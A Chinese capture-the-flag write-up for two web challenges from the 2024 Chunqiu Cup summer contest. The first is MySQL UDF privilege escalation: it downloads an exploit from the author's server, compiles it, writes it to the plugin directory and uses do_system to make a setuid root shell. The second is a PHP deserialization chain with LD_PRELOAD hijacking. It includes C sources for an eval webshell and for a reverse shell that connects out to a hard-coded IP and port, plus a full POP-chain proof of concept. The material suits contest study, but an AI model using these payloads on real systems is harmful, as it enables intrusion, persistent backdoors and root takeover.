2024年春秋杯网络安全联赛夏季赛 Web方向题解WirteUp 部分

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题目描述：web哥，打点容易提权难。

打点就是最简单的SSTI。

执行下find / -user root -perm -4000 -print 2>/dev/null找一下具备suid权限的命令

/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/bin/su
/bin/umount
/bin/mount

可疑的命令是/usr/lib/dbus-1.0/dbus-daemon-launch-helper但是没有找到用这个命令提权的资料。

弹shell后翻找一下源码，/app/api.py文件中链接了mysql，事出反常必有妖，猜测利用mysql相关内容进行提权。几经波折锁定在UDF提权。

接下来进行提权，UDF提权。（Linux版）

UDF：User Defined Function 用户自定义函数，MySQL数据库的初衷是用于方便用户进行自定义函数，方便查询一些复杂的数据，同时也有可能被攻击者利用，使用udf进行提权。

提权原理：攻击者通过编写，能调用cmd或者shell的共享库文件（window为.dll，linux为.so），并且导入到一个指定的文件夹目录下，在数据库中通过导入的共享库文件创建自定义函数，该自定义函数功能依照于共享库文件的功能，从而在数据库中调用该自定义函数能够使用系统命令（就像使用version()函数可以查看数据库版本，自定义函数就可以执行系统命令）

执行过程：本质上还是利用了MySQL能够执行系统命令的特点。具体过程如下

（1）攻击者编写，可以调用用cmd或者shel的共享库文件（window为.dll，linux为.so），将共享库导入指定的函数目录中。

（2）在MySQL中创建自定义函数其功能有共享库文件提权。（类似于python中的写了一个函数，其函数主要功能是python内置库中所提供的）

（3）通过创建的函数执行系统命令，实现提权。

利用前提：

mysql允许导入导出文件（secure_file_priv）
高权限用户启动，如root。该账号需要有对数据库mysql的insert和delete权限，其实是操作里面的func表，所以func表也必须存在。
未开启‑‑skip‑grant‑tables。开启的情况下，UDF不会被加载，默认不开启。

准备工作

前置条件核验

我们需要核验的条件：

1.数据库的版本信息不高于 5.5.6

2.secure_file_priv为空，允许导入导出文件

3.数据库可以用管理员权限运行

4.存在存放插件（plugin）的目录

可能是反弹shell没有tty的原因，mysql登陆不了。只能直接用命令行执行sql语句了。下文只放SQL语句，linux命令大家自己包哈。

mysql -uctf -p123456 -Dmysql -e "~【SQL语句】~";

查看数据库版本信息。

select version();

查看机器信息。二选一。这里题目是64位的。（不同位数的机器，提权用到的文件有点不一样，详情见文章最后）

show variables like 'version_compile_%';
select @@version_compile_os, @@version_compile_machine;

核验secure_file_priv是否为空，也就是查看是否允许导入导出文件

show global variables like '%secure_file_priv%';
show variables like '%secure%';

这里需要是空值或者是plugin所在的目录，不能是null值
secure_file_priv 的值为 NULL ，表示限制 mysqld 不允许导入|导出，此时无法提权
secure_file_priv 的值为 /tmp/ ，表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下，此时也无法提权
secure_file_priv 的值没有具体值时，表示不对 mysqld 的导入|导出做限制，此时可提权

查看当前用户。命令二选一

select user();
select current_user;

查看mysql所有用户，是有root的。

SELECT user,host FROM mysql.user;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

用以下命令查看特定用户的权限，可以将root修改为任意用户，\G每个字段打印到单独的行，也有’;’的作用。

SELECT * FROM mysql.user WHERE user='root'\G

权限都是Y，但是这是root的，别急，我们看看当前ctf用户的。ok稳了

mysql -uctf -p123456 -Dmysql -e "select * from mysql.user where user = substring_index(user(), '@', 1)\G;";

查看插件的位置，将动态连接文件导入到此目录。这个目录与MySQL的版本和操作系统有关，对于linux MySQL>=5.1的版本，创建函数的目录是plugin，可以用如下的命令查看：

show variables like '%plugin%';

UDF文件准备

启动kali。应该知道UDF提权需要有个可以执行系统命令的UDF文件，所有我们使用searchsploit 搜索mysql UDF 获得UDF文件，kali中命令如下：searchsploit mysql udf

此处我们可以根据MySQL的版本进行选择，这里选择比较通用的第二条1518.c，把1518.c下载下来：searchsploit mysql udf -m 1518

看一眼里面大概有啥（和做题无关）：cat 1518.c

重命名UDF文件，用法中首先使用gcc编译，编译的文件名为raptor_udf2.c，因此我们可以先将这个1518.c改名为raptor_udf2.c，方便后续操作，命令如下：mv 1518.c raptor_udf2.c

进行gcc编译，这里最好在靶机中编译（而不是kali），因为不同环境的编译结果可能不一样，既然要对靶机提权，那就在靶机中进行编译。

都在内网-获得初步shell:本地开启有个web服务，目标靶机wget下载

目标靶机外网-自己在内网：将UDF文件上传到自己服务器开启web服务，目标wget下载

根据目标靶机web的功能，如本篇靶机web存在图片上传功能且不存在过滤，就可以将udf上传到目标主机

显然这题是需要上传到自己服务器上面了，python3起个服务。python3 -m http.server 8001

一切正常

回到题目（shell弹到自己服务器上），wget把文件下下来。wget http://124.71.147.99:8001/raptor_udf2.c

开始编译

gcc -g -c raptor_udf2.c -fPIC

该命令是使用gcc编译器来编译名为"raptor_udf2.c"的源代码文件，并生成一个目标文件（object file）。

-g：这个参数告诉编译器在目标文件中包含调试信息。这将使得在调试程序时可以获得更多的信息，例如变量的值和源代码的行号。

-c：这个参数告诉编译器只进行编译而不进行链接。它将源代码文件编译成一个目标文件，而不是生成可执行文件。这在构建大型程序时通常是一个常用的步骤。通常会生成.o文件。

-fPIC：虽然Usage中没有提到这个参数，但还是建议加上。这个参数指定编译为位置独立代码（Position Independent Code）。位置独立代码是一种可执行代码的格式，它可以在内存中的任何位置加载和执行，而不依赖于特定的内存布局。这在生成共享库（shared library）时非常有用，因为共享库可以加载到进程的任何地址空间中。

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

该命令是使用gcc编译器将名为"raptor_udf2.o"的目标文件链接为一个共享库（shared library）文件，并命名为"raptor_udf2.so"。下面是每个选项的解释：

-g：这个选项告诉编译器在生成的共享库文件中包含调试信息。

-shared：这个选项指定编译器生成一个共享库文件，而不是可执行文件。共享库是一种可被多个程序共享和重用的代码库。

-Wl,-soname,raptor_udf2.so：这个选项将"-soname"参数传递给链接器（ld）。“-soname"用于指定生成的共享库文件的名字，这里是"raptor_udf2.so”。

-o raptor_udf2.so：这个选项指定生成的共享库文件的输出文件名，这里是"raptor_udf2.so"。

raptor_udf2.o：这是要链接的目标文件的名称。

-lc：这个选项告诉链接器使用C标准库（libc）。

正式开始

简述一下流程：

1.创建foo表：

2.将UDF文件内容写入foo表

3.将foo表中的UDF文件内容，导出到指定目录中并以UDF文件名命名(2,3实现了将UDF表导入指定目录)

4.通过指定目录下的UDF文件提供的功能创建自定义函数

可能是反弹shell没有tty的原因，mysql登陆不了。只能直接用命令行执行sql语句了。下文只放SQL语句，linux命令大家自己包哈。

建立foo表。CREATE TABLE foo(line blob);。表示在当前数据库中创建一个名为"foo"的表。该表只有一个列名为"line"，并且该列的数据类型是BLOB（二进制大对象）。BLOB类型用于存储二进制数据，如图像、音频、视频等。

use mysql;
create table foo(line blob);

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

该SQL语句将加载’/tmp/raptor_udf2.so’文件的内容，并将其作为二进制数据插入到"foo"表的"line"列中。（将我们创建的UDF文件，以二进制数据写入foo表中）

insert into foo values(load_file('/tmp/raptor_udf2.so'));

该SQL语句用于导出"foo"表中所有行的数据，并将其以文本形式写入到’/usr/lib/mysql/plugin/raptor_udf2.so’文件中。特别注意，这里的写入路径是plugin目录的路径，在“提权前提”小节中已经提到，如果你不知道plugin目录的路径，可以用show variables like ‘%plugin%’;进行查看。mysql -uctf -p123456 -Dmysql -e "show variables like '%plugin%';";

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

这个SQL语句用于在MySQL中创建一个名为"do_system"的函数，该函数返回一个整数值。该函数的实现由外部库"raptor_udf2.so"提供。

create function do_system returns integer soname 'raptor_udf2.so';

注：另外一篇windows的UDF提权文章是这样子创建函数的create function sys_eval returns string soname ‘udf.dll’;

查看我们是否成功创建了函数。成了！

select * from mysql.func;

此时我们应该可以使用do_system函数执行任意系统命令了。接下来是花式拿flag~

——————————————【分割线，姿势1】——————————————

那么我们可以do_system函数进行提权，do_system函数执行结果0表示成功。语句如下：

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

do_system中的这条Linux命令是将/bin/bash（Bash shell可执行文件）复制到/tmp目录下，并将复制后的文件命名为rootbash。接着，使用chmod命令给/tmp/rootbash设置权限，使用+xs参数将其设为可执行文件，并将其所有者的权限设置为具有特殊权限。接下来我们只要在www-data的shell中执行rootbash即可：（这是linux命令哈，不是SQL语句）

/tmp/rootbash -p

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

也可以在mysql里面执行命令。

select do_system("whoami");

——————————————【分割线，姿势2】——————————————

调用do_system函数来给find命令所有者的suid权限，使其可以执行root命令， 0代表执行成功。

select do_system('chmod 777 /flag');

执行命令，成功提权。

总结一下，上述两个姿势都是提权后UDF具备root权限可以执行命令比如chmod，但是用户还是题目初始的one，暂时没找到办法提到root。

拷贝一下国光佬博客内容。UDF 提权常常需要使用原生 SQL 语句来导出 UDF 动态链接库文件，所以接下来内容就是为了方便之后复制使用。

lib_mysqludf_sys_32.dll

SELECT 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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';

lib_mysqludf_sys_64.dll

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INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll';

lib_mysqludf_sys_32.so

SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

lib_mysqludf_sys_64.so

SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

参考文献：

UDF提权（linux）_mysql5.5.6 linux提权-CSDN博客

渗透测试：数据库UDF提权（linux）-CSDN博客

linux环境下的MySQL UDF提权_mysql udf提权 linux-CSDN博客

Mysql之UDF提权-CSDN博客

udf提权-CSDN博客

mysql udf提权 - 浅易深 - 博客园 (cnblogs.com)

【数据库提权系列】—【Mysql-UDF提权篇】 - FreeBuf网络安全行业门户

Hijack

题目描述：hijack

开题直接给了源码：

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{$pattern = array('\'', '"','%','\(','\)',';','bash');$pattern = '/' . implode('|', $pattern) . '/i';if(preg_match($pattern,$a)){die("No injecting!!!");}return $a;
}
class ENV{public $key;public $value;public $math;public function __toString(){$key=filter($this->key);$value=filter($this->value);putenv("$key=$value");system("cat hints.txt");}public function __wakeup(){if (isset($this->math->flag)){echo getenv("LD_PRELOAD");echo "YesYes";} else {echo "YesYesYes";}}
}
class DIFF{public $callback;public $back;private $flag;public function __isset($arg1){system("cat /flag");$this->callback->p;echo "You are stupid, what exactly is your identity?";}}
class FILE{public $filename;public $enviroment;public function __get($arg1){if("hacker"==$this->enviroment){echo "Hacker is bad guy!!!";}}public function __call($function_name,$value){if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {$uploadDir = "/tmp/";$destination = $uploadDir . md5(time()) . $matches[0];if (!is_dir($uploadDir)) {mkdir($uploadDir, 0755, true);}file_put_contents($this->filename, base64_decode($value[0]));if (rename($this->filename, $destination)) {echo "文件成功移动到${destination}";} else {echo '文件移动失败。';}} else {echo "非法文件名。";}}
}
class FUN{public $fun;public $value;public function __get($name){$this->fun->getflag($this->value);}
}
$c = $_POST['Harder'];
unserialize($c);?>

扫了一眼，应该是POP链+LD_PRELOAD

有文件上传有环境变量修改就是LD_PRELOAD劫持（ld劫持），在VNCTF2024-givenphp出现过

这里捋一下LD_PRELOAD劫持的前世今生吧

在 LD_PRELOAD 中指定的文件会在动态链接器按照固定规则搜索共享库之前装载，他比 LD_LIBRARY_PATH 所指定的目录中的共享库还要优先。无论时否依赖它们，LD_PRELOAD 中指定的共享库或目标文件都会被装载。

如果我们有文件上传的权限，又可以修改LD_PRELOAD，那么LD_PRELOAD装载哪个文件，即程序运行时候哪个文件一定会被运行就是我们可以决定的了。

可以看看这两篇：

LD_PRELOAD劫持（超详细篇）-CSDN博客

Linux 环境变量之 LD_PRELOAD & LD_LIBRARY_PATH & LD_DEBUG-CSDN博客

先搓一下POP链：

文件上传的POP：（把.so传上去）

ENV::__wakeup()->DIFF::__isset()->FUN::__get()->FILE::__call()

修改LD_PRELOAD的POP：（书写.so文件中我们想执行的系统命令）

ENV::__wakeup()->DIFF::__isset()->FILE::__get()->ENV::__toString()

目前手头上用过的初始.c文件有三种，做题时候选取第三个。

#include <stdio.h>
#include <stdlib.h>
void _init() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");FILE *file;file = fopen("/var/www/html/17.php", "w");if (file == NULL) {printf("无法打开文件\n");return;}fprintf(file, "<?php @eval($_POST[1]);?>\n");fclose(file);printf("文件写入成功\n");
}

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *server_ip = "124.71.147.99";
uint32_t server_port = 1717;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");int sock = socket(AF_INET, SOCK_STREAM, 0);struct sockaddr_in attacker_addr = {0};attacker_addr.sin_family = AF_INET;attacker_addr.sin_port = htons(server_port);attacker_addr.sin_addr.s_addr = inet_addr(server_ip);if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)exit(0);dup2(sock, 0);dup2(sock, 1);dup2(sock, 2);execve("/bin/bash", 0, 0);
}

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");system("cat /flag_26fb6e115a0e66cca28b");
}

有个小小注意点就是编译要在Linux下编译。

gcc -fPIC -shared -o 3.so 3.c -nostartfiles
gcc -shared -fPIC 3.c -o 3.so

POC：

<?php
highlight_file(__FILE__);
error_reporting(E_ALL);
ini_set('display_errors', 1);
function filter($a)
{$pattern = array('\'', '"','%','\(','\)',';','bash');$pattern = '/' . implode('|', $pattern) . '/i';if(preg_match($pattern,$a)){die("No injecting!!!");}return $a;
}
class ENV{#public $key;public $value;public $math;public function __toString(){$key=filter($this->key);$value=filter($this->value);putenv("$key=$value");system("cat hints.txt");}public function __wakeup()#{if (isset($this->math->flag)){echo getenv("LD_PRELOAD");echo "YesYes";} else {echo "YesYesYes";}}
}
class DIFF{public $callback;public $back;private $flag;public function __isset($arg1)#{system("cat /flag");$this->callback->p;echo "You are stupid, what exactly is your identity?";}}
class FILE{#public $filename;public $enviroment;public function __get($arg1){if("hacker"==$this->enviroment){echo "Hacker is bad guy!!!";}}public function __call($function_name,$value)#{if (preg_match('/\.[^.]*$/', $this->filename, $matches)) {$uploadDir = "/tmp/";$destination = $uploadDir . md5(time()) . $matches[0];if (!is_dir($uploadDir)) {mkdir($uploadDir, 0755, true);}file_put_contents($this->filename, base64_decode($value[0]));if (rename($this->filename, $destination)) {echo "文件成功移动到${destination}";} else {echo '文件移动失败。';}} else {echo "非法文件名。";}}
}
class FUN{public $fun;public $value;public function __get($name){$this->fun->getflag($this->value);}
}#ENV::__wakeup()->DIFF::__isset()->FUN::__get()->FILE::__call()
//
//$a=new ENV();
//$a->math=new DIFF();
//$a->math->callback=new FUN();
//$a->math->callback->fun=new FILE();
//$a->math->callback->value='~【这里放被base64编码的.so文件】~';
//$a->math->callback->fun->filename='17.so';#ENV::__wakeup()->DIFF::__isset()->FILE::__get()->ENV::__toString()$a=new ENV();
$a->math=new DIFF();
$a->math->callback=new FILE();
$a->math->callback->enviroment=new ENV();
$a->math->callback->enviroment->key='LD_PRELOAD';
$a->math->callback->enviroment->value='/tmp/e416cd929901cf4e363e798e011d2556.so';//$a=new ENV();
//$a->math->flag='a';echo urlencode(serialize($a));
//unserialize(serialize($a)); #调试用